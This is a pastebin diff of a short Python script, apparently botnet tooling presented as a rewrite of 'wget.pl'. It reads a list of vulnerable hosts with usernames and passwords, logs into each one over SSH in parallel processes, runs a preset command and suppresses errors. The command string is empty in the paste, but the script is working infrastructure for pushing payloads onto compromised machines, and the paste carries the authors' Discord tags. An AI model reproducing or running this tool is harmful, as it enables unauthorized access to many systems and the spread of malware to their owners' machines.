SHOW:
|
|
- or go back to the newest paste.
1 | - | # I made a replica of wget.pl but in Python. I know there is another wget.py, but that shit is broken af xD |
1 | + | # https://pastebin.com/6mf6zNsV I made a replica of wget.pl but in Python. I know there is another wget.py, but that shit is broken af xD |
2 | import sys | |
3 | import time | |
4 | import socket | |
5 | import paramiko | |
6 | import warnings | |
7 | import multiprocessing | |
8 | from termcolor import colored | |
9 | ||
10 | cmd = "" # Command to execute | |
11 | ||
12 | paramiko.util.log_to_file("/dev/null") | |
13 | warnings.simplefilter(action="ignore", category=FutureWarning) | |
14 | ||
15 | if len(sys.argv) < 2: | |
16 | print("Usage: %s [Vuln List]" % sys.argv[0]) | |
17 | quit() | |
18 | ||
19 | with open(sys.argv[1], "r") as fd: | |
20 | lines = fd.readlines() | |
21 | ||
22 | print("Since I am awesome af, I decided to rewrite \"wget.pl\" in Python...") | |
23 | - | print("Discord: Drqonic#0674") |
23 | + | print("Discord: Feitan#6800") |
24 | ||
25 | raw_input("Press Enter to continue...") | |
26 | ||
27 | def auth(creds): | |
28 | try: | |
29 | ssh = paramiko.SSHClient() | |
30 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) | |
31 | ssh.connect(creds[0], port=22, username=creds[1], password=creds[2], timeout=5) | |
32 | stdin, stdout, stderr = ssh.exec_command(cmd) | |
33 | print(colored("Command executed on: %s:%s:%s", "green") % (creds[0], creds[1], creds[2])) | |
34 | time.sleep(10) | |
35 | ssh.close() | |
36 | except paramiko.ssh_exception.AuthenticationException: | |
37 | print(colored("Unable to login using: %s:%s:%s", "blue") % (creds[0], creds[1], creds[2])) | |
38 | pass | |
39 | except socket.error: | |
40 | print(colored("Unable to connect to: %s", "red") % (creds[0])) | |
41 | pass | |
42 | except: | |
43 | pass | |
44 | ||
45 | for line in lines: | |
46 | - | creds = line.strip().split(":") |
46 | + | creds = line.rstrip("\n").split(":") |
47 | - | multiprocessing.Process(target=auth, args=(creds,)).start() |
47 | + | process = multiprocessing.Process(target=auth, args=(creds,)) |
48 | process.start() |